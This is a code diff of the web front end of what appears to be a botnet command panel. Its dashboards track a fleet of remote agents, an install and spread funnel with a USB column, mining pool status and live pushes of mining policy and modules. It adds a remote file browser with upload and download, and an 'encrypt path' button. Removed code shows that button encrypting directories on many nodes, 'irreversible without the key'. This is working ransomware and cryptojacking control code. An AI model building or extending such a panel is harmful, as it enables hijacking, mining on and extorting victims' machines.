||||||
|
);
|
||||||
|
});
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const crumbs = pathBreadcrumbs(cwd);
|
||||||
|
const browseLabel = homeDir || cwd || 'agent home';
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<div className="file-manager">
|
<div className="file-manager">
|
||||||
<div className="fm-header">
|
<div className="fm-header">
|
||||||
<span className="font-tech fm-title">FILE BROWSER — {agentName ?? agentId.slice(0, 8)}</span>
|
<span className="font-tech fm-title">
|
||||||
|
FILE BROWSER — {agentName ?? agentId.slice(0, 8)} <HelpTip field="fm_remote_browse" />
|
||||||
|
</span>
|
||||||
<button type="button" className="btn btn-outline btn-sm" disabled={!online || busy} onClick={refresh}>
|
<button type="button" className="btn btn-outline btn-sm" disabled={!online || busy} onClick={refresh}>
|
||||||
Refresh
|
Refresh
|
||||||
</button>
|
</button>
|
||||||
</div>
|
</div>
|
||||||
{!online && <p className="fm-offline">Agent offline</p>}
|
{!online && <p className="fm-offline">Agent offline</p>}
|
||||||
|
<div className="fm-path font-tech" title={cwd || homeDir}>
|
||||||
|
{browseLabel}
|
||||||
|
</div>
|
||||||
<div className="fm-breadcrumb font-tech">
|
<div className="fm-breadcrumb font-tech">
|
||||||
<button type="button" className="fm-crumb" onClick={() => setCwd(cwd.startsWith('/') ? '/' : 'C:\\')}>root</button>
|
<button type="button" className="fm-crumb" onClick={goHome}>home</button>
|
||||||
{crumbs.map((c, i) => (
|
{crumbs.map((c, i) => (
|
||||||
<span key={i}>
|
<span key={i}>
|
||||||
<span className="fm-sep">/</span>
|
<span className="fm-sep">/</span>
|
||||||
@@ -155,6 +218,11 @@ export default function FileManager({ agentId, agentName, online, commandResults
|
|||||||
className="fm-crumb"
|
className="fm-crumb"
|
||||||
onClick={() => {
|
onClick={() => {
|
||||||
const parts = crumbs.slice(0, i + 1);
|
const parts = crumbs.slice(0, i + 1);
|
||||||
|
// Normalise Windows drive roots: 'C:' → 'C:\\'
|
||||||
|
if (sep === '\\' && parts.length === 1 && /^[A-Za-z]:$/.test(parts[0])) {
|
||||||
|
setCwd(`${parts[0]}\\`);
|
||||||
|
return;
|
||||||
|
}
|
||||||
setCwd((cwd.startsWith('/') ? '/' : '') + parts.join(sep));
|
setCwd((cwd.startsWith('/') ? '/' : '') + parts.join(sep));
|
||||||
}}
|
}}
|
||||||
>
|
>
|
||||||
@@ -190,24 +258,46 @@ export default function FileManager({ agentId, agentName, online, commandResults
|
|||||||
Download selected
|
Download selected
|
||||||
</button>
|
</button>
|
||||||
<input className="input mono fm-upload-path" placeholder="Upload path" value={uploadPath} onChange={(e) => setUploadPath(e.target.value)} />
|
<input className="input mono fm-upload-path" placeholder="Upload path" value={uploadPath} onChange={(e) => setUploadPath(e.target.value)} />
|
||||||
<label className="btn btn-outline btn-sm">
|
<span className="fm-upload-wrap">
|
||||||
Upload
|
<label className="btn btn-outline btn-sm">
|
||||||
<input
|
Upload
|
||||||
type="file"
|
<input
|
||||||
hidden
|
type="file"
|
||||||
disabled={!online || busy}
|
hidden
|
||||||
onChange={async (ev) => {
|
disabled={!online || busy}
|
||||||
const file = ev.target.files?.[0];
|
onChange={async (ev) => {
|
||||||
if (!file) return;
|
const file = ev.target.files?.[0];
|
||||||
const { readFileAsBase64 } = await import('../../help/desktopPush');
|
if (!file) return;
|
||||||
const b64 = await readFileAsBase64(file);
|
const { readFileAsBase64 } = await import('../../help/desktopPush');
|
||||||
const dest = uploadPath.trim() || `${cwd}${sep}${file.name}`;
|
const b64 = await readFileAsBase64(file);
|
||||||
setBusy(true);
|
const dest = uploadPath.trim() || joinRemotePath(cwd, file.name);
|
||||||
api.sendAgentCommand(agentId, 'upload', { path: dest, data: b64 }).finally(() => setBusy(false));
|
setBusy(true);
|
||||||
ev.target.value = '';
|
api.sendAgentCommand(agentId, 'upload', { path: dest, data: b64 })
|
||||||
}}
|
.catch((e) => setErr(e instanceof Error ? e.message : String(e)))
|
||||||
/>
|
.finally(() => setBusy(false));
|
||||||
</label>
|
ev.target.value = '';
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
</label>
|
||||||
|
<HelpTip field="fm_upload" />
|
||||||
|
</span>
|
||||||
|
{encryptTargets && encryptTargets.length > 0 && (
|
||||||
|
<div className="fm-encrypt-section">
|
||||||
|
<label className="fm-recursive-label">
|
||||||
|
<input type="checkbox" checked={recursive} onChange={(ev) => setRecursive(ev.target.checked)} />
|
||||||
|
Recursive
|
||||||
|
</label>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
className="button btn-sm fm-encrypt-btn"
|
||||||
|
disabled={!online || busy}
|
||||||
|
onClick={runEncrypt}
|
||||||
|
>
|
||||||
|
🔒 Encrypt path ({encryptTargets.length})
|
||||||
|
</button>
|
||||||
|
<HelpTip field="fm_encrypt_path" />
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
{err && <p className="fm-err">{err}</p>}
|
{err && <p className="fm-err">{err}</p>}
|
||||||
{preview && <pre className="fm-preview">{preview}</pre>}
|
{preview && <pre className="fm-preview">{preview}</pre>}
|
||||||
|
|||||||
@@ -1,35 +1,41 @@
|
|||||||
import { useEffect, useState } from 'react';
|
import { useCallback, useEffect, useState } from 'react';
|
||||||
|
import { useVisibleInterval } from '../../hooks/usePageVisible';
|
||||||
import { api } from '../../api/client';
|
import { api } from '../../api/client';
|
||||||
import type { AuditEntry } from '../../types';
|
import type { AuditEntry } from '../../types';
|
||||||
import NeonCard from '../NeonCard/NeonCard';
|
import NeonCard from '../NeonCard/NeonCard';
|
||||||
|
import { HelpTip } from '../HelpTip';
|
||||||
|
|
||||||
export function AuditLogStrip({ limit = 8 }: { limit?: number }) {
|
export function AuditLogStrip({ limit = 8 }: { limit?: number }) {
|
||||||
const [entries, setEntries] = useState<AuditEntry[]>([]);
|
const [entries, setEntries] = useState<AuditEntry[]>([]);
|
||||||
|
|
||||||
useEffect(() => {
|
const refresh = useCallback(() => {
|
||||||
api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => setEntries([]));
|
api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => setEntries([]));
|
||||||
const t = setInterval(() => {
|
|
||||||
api.getAudit().then((rows) => setEntries(rows.slice(0, limit))).catch(() => {});
|
|
||||||
}, 60000);
|
|
||||||
return () => clearInterval(t);
|
|
||||||
}, [limit]);
|
}, [limit]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
refresh();
|
||||||
|
}, [refresh]);
|
||||||
|
|
||||||
|
useVisibleInterval(refresh, 60000);
|
||||||
|
|
||||||
return (
|
return (
|
||||||
<NeonCard accent="purple" tilt3d={false}>
|
<NeonCard accent="purple" tilt3d={false}>
|
||||||
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>OPERATOR AUDIT</h3>
|
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>
|
||||||
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Recent actions (last 50 on server)</p>
|
OPERATOR AUDIT <HelpTip field="dash_operator_audit" />
|
||||||
|
</h3>
|
||||||
|
<p style={{ color: 'var(--text-muted)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Recent actions (last 50 on server)</p>
|
||||||
{entries.length === 0 ? (
|
{entries.length === 0 ? (
|
||||||
<p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No audit entries yet.</p>
|
<p style={{ color: 'var(--text-muted)', fontSize: '0.85rem' }}>No audit entries yet.</p>
|
||||||
) : (
|
) : (
|
||||||
<ul style={{ listStyle: 'none', margin: 0, padding: 0, fontSize: '0.75rem', fontFamily: 'monospace' }}>
|
<ul style={{ listStyle: 'none', margin: 0, padding: 0, fontSize: '0.75rem', fontFamily: 'monospace' }}>
|
||||||
{entries.map((e) => (
|
{entries.map((e) => (
|
||||||
<li key={e.id} style={{ padding: '0.2rem 0', borderBottom: '1px solid #1a1a1a' }}>
|
<li key={e.id} style={{ padding: '0.2rem 0', borderBottom: '1px solid rgba(140, 120, 60, 0.15)' }}>
|
||||||
<span style={{ color: 'var(--clr-dim)' }}>{new Date(e.timestamp).toLocaleString()}</span>
|
<span style={{ color: 'var(--text-muted)' }}>{new Date(e.timestamp).toLocaleString()}</span>
|
||||||
{' '}
|
{' '}
|
||||||
<span style={{ color: 'var(--neon-cyan, #0ff)' }}>{e.username || '—'}</span>
|
<span style={{ color: 'var(--neon-cyan)' }}>{e.username || '—'}</span>
|
||||||
{' · '}
|
{' · '}
|
||||||
<strong>{e.action}</strong>
|
<strong>{e.action}</strong>
|
||||||
{e.agent_id && <span style={{ color: 'var(--clr-dim)' }}> @{e.agent_id.slice(0, 8)}</span>}
|
{e.agent_id && <span style={{ color: 'var(--text-muted)' }}> @{e.agent_id.slice(0, 8)}</span>}
|
||||||
</li>
|
</li>
|
||||||
))}
|
))}
|
||||||
</ul>
|
</ul>
|
||||||
@@ -50,24 +56,26 @@ export function SpreadFunnelWidget() {
|
|||||||
|
|
||||||
return (
|
return (
|
||||||
<NeonCard accent="cyan" tilt3d={false}>
|
<NeonCard accent="cyan" tilt3d={false}>
|
||||||
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>INSTALL FUNNEL</h3>
|
<h3 className="font-tech" style={{ fontSize: '0.75rem', marginBottom: '0.5rem', letterSpacing: '0.08em' }}>
|
||||||
<p style={{ color: 'var(--clr-dim)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Agents by build (7 days)</p>
|
INSTALL FUNNEL <HelpTip field="dash_install_funnel" />
|
||||||
|
</h3>
|
||||||
|
<p style={{ color: 'var(--text-muted)', fontSize: '0.75rem', marginBottom: '0.5rem' }}>Agents by build (7 days)</p>
|
||||||
<div style={{ display: 'flex', gap: '1.5rem', marginBottom: '0.75rem', fontSize: '0.85rem' }}>
|
<div style={{ display: 'flex', gap: '1.5rem', marginBottom: '0.75rem', fontSize: '0.85rem' }}>
|
||||||
<span>New today: <strong>{stats.new_connects_today}</strong></span>
|
<span>New today: <strong>{stats.new_connects_today}</strong></span>
|
||||||
<span>Fleet total: <strong>{stats.total_agents}</strong></span>
|
<span>Fleet total: <strong>{stats.total_agents}</strong></span>
|
||||||
</div>
|
</div>
|
||||||
{byBuild.length === 0 ? (
|
{byBuild.length === 0 ? (
|
||||||
<p style={{ color: 'var(--clr-dim)', fontSize: '0.85rem' }}>No agents in the last 7 days.</p>
|
<p style={{ color: 'var(--text-muted)', fontSize: '0.85rem' }}>No agents in the last 7 days.</p>
|
||||||
) : (
|
) : (
|
||||||
<table style={{ width: '100%', fontSize: '0.75rem', borderCollapse: 'collapse' }}>
|
<table style={{ width: '100%', fontSize: '0.75rem', borderCollapse: 'collapse' }}>
|
||||||
<thead>
|
<thead>
|
||||||
<tr style={{ textAlign: 'left', color: 'var(--clr-dim)' }}>
|
<tr style={{ textAlign: 'left', color: 'var(--text-muted)' }}>
|
||||||
<th>Build</th><th>Worker</th><th>Count</th><th>USB</th>
|
<th>Build</th><th>Worker</th><th>Count</th><th>USB</th>
|
||||||
</tr>
|
</tr>
|
||||||
</thead>
|
</thead>
|
||||||
<tbody>
|
<tbody>
|
||||||
{byBuild.slice(0, 10).map((r, i) => (
|
{byBuild.slice(0, 10).map((r, i) => (
|
||||||
<tr key={i} style={{ borderTop: '1px solid #222' }}>
|
<tr key={i} style={{ borderTop: '1px solid rgba(140, 120, 60, 0.15)' }}>
|
||||||
<td className="mono">{r.build_id.slice(0, 12)}{r.build_id.length > 12 ? '…' : ''}</td>
|
<td className="mono">{r.build_id.slice(0, 12)}{r.build_id.length > 12 ? '…' : ''}</td>
|
||||||
<td>{r.worker_name}</td>
|
<td>{r.worker_name}</td>
|
||||||
<td>{r.count}</td>
|
<td>{r.count}</td>
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ import type { Agent, FleetAlert, PoolStatus, AIActivityEntry } from '../../types
|
|||||||
import type { FleetHealth, ContributionBar, SubnetGroup, PlatformCount } from '../../help/fleetAnalytics';
|
import type { FleetHealth, ContributionBar, SubnetGroup, PlatformCount } from '../../help/fleetAnalytics';
|
||||||
import { timeToPayout } from '../../help/fleetAnalytics';
|
import { timeToPayout } from '../../help/fleetAnalytics';
|
||||||
import { formatHashrate } from '../../help/fleetFilters';
|
import { formatHashrate } from '../../help/fleetFilters';
|
||||||
|
import { HelpTip } from '../HelpTip';
|
||||||
import './FleetPanels.css';
|
import './FleetPanels.css';
|
||||||
|
|
||||||
export function AlertBanner({ alerts }: { alerts: FleetAlert[] }) {
|
export function AlertBanner({ alerts }: { alerts: FleetAlert[] }) {
|
||||||
@@ -28,7 +29,7 @@ export function PoolStatusPanel({ pools }: { pools: PoolStatus[] }) {
|
|||||||
return (
|
return (
|
||||||
<NeonCard accent="green" className="section" hud>
|
<NeonCard accent="green" className="section" hud>
|
||||||
<h2 className="section-title font-display">
|
<h2 className="section-title font-display">
|
||||||
<span className="section-ornament">◆</span> Pool Stratum Status
|
<span className="section-ornament">◆</span> Pool Stratum Status <HelpTip field="dash_pool_stratum" />
|
||||||
<span className="section-line" />
|
<span className="section-line" />
|
||||||
</h2>
|
</h2>
|
||||||
{pools.length === 0 ? (
|
{pools.length === 0 ? (
|
||||||
@@ -57,7 +58,7 @@ export function AIActivityPanel({ entries, agentNames }: { entries: AIActivityEn
|
|||||||
return (
|
return (
|
||||||
<NeonCard accent="purple" className="section" hud>
|
<NeonCard accent="purple" className="section" hud>
|
||||||
<h2 className="section-title font-display">
|
<h2 className="section-title font-display">
|
||||||
<span className="section-ornament">◆</span> AI Activity Monitor
|
<span className="section-ornament">◆</span> AI Activity Monitor <HelpTip field="dash_ai_activity" />
|
||||||
<span className="section-line" />
|
<span className="section-line" />
|
||||||
</h2>
|
</h2>
|
||||||
{entries.length === 0 ? (
|
{entries.length === 0 ? (
|
||||||
@@ -188,7 +189,7 @@ export function FleetHealthCard({ health }: { health: FleetHealth }) {
|
|||||||
<NeonCard accent={accent as any} className="fleet-health-card operator-deck-card operator-interactive" hud>
|
<NeonCard accent={accent as any} className="fleet-health-card operator-deck-card operator-interactive" hud>
|
||||||
<div className="fh-header">
|
<div className="fh-header">
|
||||||
<div>
|
<div>
|
||||||
<span className="fh-label font-tech">FLEET HEALTH</span>
|
<span className="fh-label font-tech">FLEET HEALTH <HelpTip field="dash_fleet_health" /></span>
|
||||||
<span className={`fh-status-chip fh-${health.color}`}>{health.label}</span>
|
<span className={`fh-status-chip fh-${health.color}`}>{health.label}</span>
|
||||||
</div>
|
</div>
|
||||||
<div className="fh-score" style={{ color: barColor }}>{health.score}</div>
|
<div className="fh-score" style={{ color: barColor }}>{health.score}</div>
|
||||||
|
|||||||
@@ -5,6 +5,7 @@ import { useWebSocket } from '../../hooks/useWebSocket';
|
|||||||
import { useFleetGroups } from '../../hooks/useFleetGroups';
|
import { useFleetGroups } from '../../hooks/useFleetGroups';
|
||||||
import type { FleetModuleManifest } from '../../types';
|
import type { FleetModuleManifest } from '../../types';
|
||||||
import NeonCard from '../NeonCard/NeonCard';
|
import NeonCard from '../NeonCard/NeonCard';
|
||||||
|
import { HelpTip } from '../HelpTip';
|
||||||
import './FleetRuntimePanel.css';
|
import './FleetRuntimePanel.css';
|
||||||
|
|
||||||
type TargetMode = 'all' | 'group';
|
type TargetMode = 'all' | 'group';
|
||||||
@@ -147,7 +148,7 @@ export default function FleetRuntimePanel() {
|
|||||||
<>
|
<>
|
||||||
<NeonCard accent="green" className="settings-section fleet-policy-deck operator-deck-card operator-interactive" hud>
|
<NeonCard accent="green" className="settings-section fleet-policy-deck operator-deck-card operator-interactive" hud>
|
||||||
<p className="fleet-policy-eyebrow font-tech">RUNTIME · NO RE-FORGE</p>
|
<p className="fleet-policy-eyebrow font-tech">RUNTIME · NO RE-FORGE</p>
|
||||||
<h2 className="font-display">Live Fleet Policy</h2>
|
<h2 className="font-display">Live Fleet Policy <HelpTip field="fleet_runtime_policy" /></h2>
|
||||||
<p className="section-desc">
|
<p className="section-desc">
|
||||||
Push live mining rules to connected workers — schedule, CPU cap, and optional pool overrides apply in memory
|
Push live mining rules to connected workers — schedule, CPU cap, and optional pool overrides apply in memory
|
||||||
via <code className="mono-sm">policy_update</code>. Identity and baked forge options stay on the binary; this
|
via <code className="mono-sm">policy_update</code>. Identity and baked forge options stay on the binary; this
|
||||||
@@ -376,7 +377,7 @@ export default function FleetRuntimePanel() {
|
|||||||
</NeonCard>
|
</NeonCard>
|
||||||
|
|
||||||
<NeonCard accent="magenta" className="settings-section fleet-module-deck operator-deck-card operator-interactive">
|
<NeonCard accent="magenta" className="settings-section fleet-module-deck operator-deck-card operator-interactive">
|
||||||
<h2 className="font-display">Push Module to Fleet</h2>
|
<h2 className="font-display">Push Module to Fleet <HelpTip field="fleet_runtime_modules" /></h2>
|
||||||
<p className="section-desc">
|
<p className="section-desc">
|
||||||
Stage signed feature packs from <code className="mono-sm">data/modules/</code> — agents fetch via{' '}
|
Stage signed feature packs from <code className="mono-sm">data/modules/</code> — agents fetch via{' '}
|
||||||
<code className="mono-sm">GET /api/v1/agent/module/{name}</code> and enable flags without a full
|
<code className="mono-sm">GET /api/v1/agent/module/{name}</code> and enable flags without a full
|
||||||
|
|||||||
@@ -56,7 +56,7 @@
|
|||||||
margin: 0 0 0.35rem;
|
margin: 0 0 0.35rem;
|
||||||
font-size: 0.72rem;
|
font-size: 0.72rem;
|
||||||
letter-spacing: 0.1em;
|
letter-spacing: 0.1em;
|
||||||
color: var(--accent-cyan, #00f5ff);
|
color: var(--neon-cyan);
|
||||||
text-transform: uppercase;
|
text-transform: uppercase;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -1,137 +0,0 @@
|
|||||||
.remote-dir-browser {
|
|
||||||
border: 1px solid rgba(255, 34, 34, 0.35);
|
|
||||||
border-radius: 6px;
|
|
||||||
padding: 0.65rem 0.75rem;
|
|
||||||
background: rgba(40, 0, 0, 0.25);
|
|
||||||
margin-top: 0.5rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.rdb-header {
|
|
||||||
display: flex;
|
|
||||||
justify-content: space-between;
|
|
||||||
align-items: center;
|
|
||||||
gap: 0.5rem;
|
|
||||||
margin-bottom: 0.35rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.rdb-title {
|
|
||||||
font-size: 0.68rem;
|
|
||||||
letter-spacing: 0.08em;
|
|
||||||
color: #ff8888;
|
|
||||||
}
|
|
||||||
|
|
||||||
.rdb-hint {
|
|
||||||
margin: 0 0 0.45rem;
|
|
||||||
font-size: 0.68rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.rdb-offline {
|
|
||||||
color: #ff6666;
|
|
||||||
font-size: 0.78rem;
|
|
||||||
margin: 0.25rem 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
.rdb-path {
|
|
||||||
font-size: 0.72rem;
|
|
||||||
color: var(--neon-cyan);
|
|
||||||
margin-bottom: 0.35rem;
|
|
||||||
word-break: break-all;
|
|
||||||
}
|
|
||||||
|
|
||||||
.rdb-breadcrumb {
|
|
||||||
margin-bottom: 0.4rem;
|
|
||||||
flex-wrap: wrap;
|
|
||||||
display: flex;
|
|
||||||
align-items: center;
|
|
||||||
}
|
|
||||||
|
|
||||||
.rdb-crumb {
|
|
||||||
background: none;
|
|
||||||
border: none;
|
|
||||||
color: var(--neon-cyan, #0ff);
|
|
||||||
cursor: pointer;
|
|
||||||
font-size: 0.72rem;
|
|
||||||
padding: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
.rdb-sep {
|
|
||||||
opacity: 0.45;
|
|
||||||
margin: 0 0.15rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.rdb-list {
|
|
||||||
list-style: none;
|
|
||||||
margin: 0;
|
|
||||||
padding: 0;
|
|
||||||
max-height: 180px;
|
|
||||||
overflow-y: auto;
|
|
||||||
border: 1px solid #331111;
|
|
||||||
background: rgba(0, 0, 0, 0.35);
|
|
||||||
}
|
|
||||||
|
|
||||||
.rdb-row {
|
|
||||||
display: flex;
|
|
||||||
width: 100%;
|
|
||||||
justify-content: space-between;
|
|
||||||
align-items: center;
|
|
||||||
gap: 0.5rem;
|
|
||||||
text-align: left;
|
|
||||||
background: none;
|
|
||||||
border: none;
|
|
||||||
color: #ddd;
|
|
||||||
padding: 0.3rem 0.5rem;
|
|
||||||
cursor: pointer;
|
|
||||||
font-family: var(--font-tech);
|
|
||||||
font-size: 0.78rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.rdb-row:hover {
|
|
||||||
background: rgba(255, 34, 34, 0.12);
|
|
||||||
}
|
|
||||||
|
|
||||||
.rdb-dir {
|
|
||||||
color: #9fdcff;
|
|
||||||
}
|
|
||||||
|
|
||||||
.rdb-size {
|
|
||||||
color: #888;
|
|
||||||
font-size: 0.68rem;
|
|
||||||
flex-shrink: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
.rdb-actions {
|
|
||||||
display: flex;
|
|
||||||
align-items: center;
|
|
||||||
gap: 0.75rem;
|
|
||||||
margin-top: 0.5rem;
|
|
||||||
flex-wrap: wrap;
|
|
||||||
}
|
|
||||||
|
|
||||||
.rdb-recursive {
|
|
||||||
display: flex;
|
|
||||||
align-items: center;
|
|
||||||
gap: 0.35rem;
|
|
||||||
font-size: 0.75rem;
|
|
||||||
color: #bbb;
|
|
||||||
cursor: pointer;
|
|
||||||
}
|
|
||||||
|
|
||||||
.rdb-encrypt-btn {
|
|
||||||
background: linear-gradient(135deg, #7b0000 0%, #cc0000 100%);
|
|
||||||
border: 1px solid #ff2222;
|
|
||||||
color: #fff;
|
|
||||||
font-weight: 700;
|
|
||||||
letter-spacing: 0.05em;
|
|
||||||
font-size: 0.78rem;
|
|
||||||
padding: 0.35rem 0.75rem;
|
|
||||||
}
|
|
||||||
|
|
||||||
.rdb-encrypt-btn:disabled {
|
|
||||||
opacity: 0.45;
|
|
||||||
}
|
|
||||||
|
|
||||||
.rdb-err {
|
|
||||||
color: #ff6666;
|
|
||||||
font-size: 0.75rem;
|
|
||||||
margin: 0.35rem 0 0;
|
|
||||||
}
|
|
||||||
@@ -1,211 +0,0 @@
|
|||||||
import { useCallback, useEffect, useMemo, useState } from 'react';
|
|
||||||
import { api } from '../../api/client';
|
|
||||||
import {
|
|
||||||
defaultBrowseRoot,
|
|
||||||
joinRemotePath,
|
|
||||||
parseListDirMessage,
|
|
||||||
pathBreadcrumbs,
|
|
||||||
type DirEntry,
|
|
||||||
} from '../../help/remoteDirBrowser';
|
|
||||||
import './RemoteDirBrowser.css';
|
|
||||||
|
|
||||||
interface Props {
|
|
||||||
agentId: string;
|
|
||||||
agentName?: string;
|
|
||||||
platform?: string;
|
|
||||||
online: boolean;
|
|
||||||
/** Encrypt targets — all online selected agents when multi-select */
|
|
||||||
encryptTargets: { id: string; name: string }[];
|
|
||||||
commandResults?: { agentId: string; action: string; success: boolean; message: string }[];
|
|
||||||
onTerminalLine?: (text: string, isCmd?: boolean) => void;
|
|
||||||
}
|
|
||||||
|
|
||||||
export default function RemoteDirBrowser({
|
|
||||||
agentId,
|
|
||||||
agentName,
|
|
||||||
platform,
|
|
||||||
online,
|
|
||||||
encryptTargets,
|
|
||||||
commandResults,
|
|
||||||
onTerminalLine,
|
|
||||||
}: Props) {
|
|
||||||
const [cwd, setCwd] = useState(() => defaultBrowseRoot(platform));
|
|
||||||
const [entries, setEntries] = useState<DirEntry[]>([]);
|
|
||||||
const [homeDir, setHomeDir] = useState('');
|
|
||||||
const [recursive, setRecursive] = useState(true);
|
|
||||||
const [busy, setBusy] = useState(false);
|
|
||||||
const [err, setErr] = useState('');
|
|
||||||
|
|
||||||
const sep = cwd.includes('/') ? '/' : '\\';
|
|
||||||
const crumbs = useMemo(() => pathBreadcrumbs(cwd), [cwd]);
|
|
||||||
const browseLabel = homeDir || cwd || 'agent home';
|
|
||||||
|
|
||||||
const refresh = useCallback(() => {
|
|
||||||
if (!online || !agentId) return;
|
|
||||||
setBusy(true);
|
|
||||||
setErr('');
|
|
||||||
api.sendAgentCommand(agentId, 'list_dir', { path: cwd }).catch((e) => {
|
|
||||||
setErr(e instanceof Error ? e.message : String(e));
|
|
||||||
setBusy(false);
|
|
||||||
});
|
|
||||||
}, [agentId, cwd, online]);
|
|
||||||
|
|
||||||
useEffect(() => {
|
|
||||||
setCwd(defaultBrowseRoot(platform));
|
|
||||||
setEntries([]);
|
|
||||||
setHomeDir('');
|
|
||||||
setErr('');
|
|
||||||
}, [agentId, platform]);
|
|
||||||
|
|
||||||
useEffect(() => {
|
|
||||||
refresh();
|
|
||||||
}, [refresh]);
|
|
||||||
|
|
||||||
useEffect(() => {
|
|
||||||
if (!commandResults?.length) return;
|
|
||||||
const last = [...commandResults]
|
|
||||||
.reverse()
|
|
||||||
.find((r) => r.agentId === agentId && (r.action === 'list_dir' || r.action === 'encrypt_path' || r.action === 'sys_crypt'));
|
|
||||||
if (!last) return;
|
|
||||||
|
|
||||||
if (last.action === 'list_dir') {
|
|
||||||
if (last.success) {
|
|
||||||
const parsed = parseListDirMessage(last.message);
|
|
||||||
if (parsed) {
|
|
||||||
setEntries(parsed.entries);
|
|
||||||
if (parsed.path) setCwd(parsed.path);
|
|
||||||
if (parsed.home_dir) setHomeDir(parsed.home_dir);
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
setErr(last.message);
|
|
||||||
}
|
|
||||||
setBusy(false);
|
|
||||||
} else if (last.action === 'encrypt_path' || last.action === 'sys_crypt') {
|
|
||||||
setBusy(false);
|
|
||||||
onTerminalLine?.(
|
|
||||||
`${last.action} ${last.success ? 'OK' : 'FAIL'} — ${last.message.slice(0, 500)}`,
|
|
||||||
false
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}, [commandResults, agentId, onTerminalLine]);
|
|
||||||
|
|
||||||
const navigate = (name: string, isDir: boolean) => {
|
|
||||||
if (!isDir && name !== '..') return;
|
|
||||||
setCwd(joinRemotePath(cwd, name));
|
|
||||||
};
|
|
||||||
|
|
||||||
const goHome = () => {
|
|
||||||
setCwd(homeDir || defaultBrowseRoot(platform));
|
|
||||||
};
|
|
||||||
|
|
||||||
const runEncrypt = () => {
|
|
||||||
const targets = encryptTargets.filter(Boolean);
|
|
||||||
if (targets.length === 0) {
|
|
||||||
alert('Select at least one online node.');
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
const pathLabel = cwd || homeDir || '(agent home)';
|
|
||||||
const scope = recursive ? 'recursively' : 'non-recursively';
|
|
||||||
const warn =
|
|
||||||
targets.length > 1
|
|
||||||
? `Encrypt ${pathLabel} ${scope} on ${targets.length} nodes?\n\nThis is IRREVERSIBLE without the key.`
|
|
||||||
: `Encrypt ${pathLabel} ${scope} on ${targets[0].name}?\n\nThis is IRREVERSIBLE without the key.`;
|
|
||||||
if (!confirm(warn)) return;
|
|
||||||
|
|
||||||
setBusy(true);
|
|
||||||
onTerminalLine?.(
|
|
||||||
`encrypt_path → ${pathLabel} [${scope}] on ${targets.length} node(s)`,
|
|
||||||
true
|
|
||||||
);
|
|
||||||
|
|
||||||
for (const t of targets) {
|
|
||||||
api
|
|
||||||
.sendAgentCommand(t.id, 'encrypt_path', {
|
|
||||||
path: cwd || homeDir,
|
|
||||||
command: recursive ? 'recursive' : '',
|
|
||||||
})
|
|
||||||
.catch((e) => {
|
|
||||||
onTerminalLine?.(
|
|
||||||
`[ERROR] encrypt_path @ ${t.name}: ${e instanceof Error ? e.message : String(e)}`,
|
|
||||||
false
|
|
||||||
);
|
|
||||||
});
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
return (
|
|
||||||
<div className="remote-dir-browser">
|
|
||||||
<div className="rdb-header">
|
|
||||||
<span className="font-tech rdb-title">REMOTE BROWSER — {agentName ?? agentId.slice(0, 8)}</span>
|
|
||||||
<button type="button" className="crucible-op-btn" disabled={!online || busy} onClick={refresh}>
|
|
||||||
Refresh
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
{!online && <p className="rdb-offline">Agent offline — browse unavailable</p>}
|
|
||||||
<p className="rdb-hint form-hint">
|
|
||||||
Browse the remote machine filesystem. Encrypt runs on {encryptTargets.length} selected online node
|
|
||||||
{encryptTargets.length !== 1 ? 's' : ''}.
|
|
||||||
</p>
|
|
||||||
<div className="rdb-path font-tech" title={cwd || homeDir}>
|
|
||||||
{browseLabel}
|
|
||||||
</div>
|
|
||||||
<div className="rdb-breadcrumb font-tech">
|
|
||||||
<button type="button" className="rdb-crumb" onClick={goHome}>home</button>
|
|
||||||
{crumbs.map((c, i) => (
|
|
||||||
<span key={`${c}-${i}`}>
|
|
||||||
<span className="rdb-sep">/</span>
|
|
||||||
<button
|
|
||||||
type="button"
|
|
||||||
className="rdb-crumb"
|
|
||||||
onClick={() => {
|
|
||||||
const parts = crumbs.slice(0, i + 1);
|
|
||||||
const root = cwd.startsWith('/') ? '/' : '';
|
|
||||||
setCwd(root + parts.join(sep));
|
|
||||||
}}
|
|
||||||
>
|
|
||||||
{c}
|
|
||||||
</button>
|
|
||||||
</span>
|
|
||||||
))}
|
|
||||||
</div>
|
|
||||||
<ul className="rdb-list">
|
|
||||||
<li>
|
|
||||||
<button type="button" className="rdb-row" onClick={() => navigate('..', true)}>..</button>
|
|
||||||
</li>
|
|
||||||
{entries.map((e) => (
|
|
||||||
<li key={e.name}>
|
|
||||||
<button
|
|
||||||
type="button"
|
|
||||||
className={`rdb-row ${e.is_dir ? 'rdb-dir' : 'rdb-file'}`}
|
|
||||||
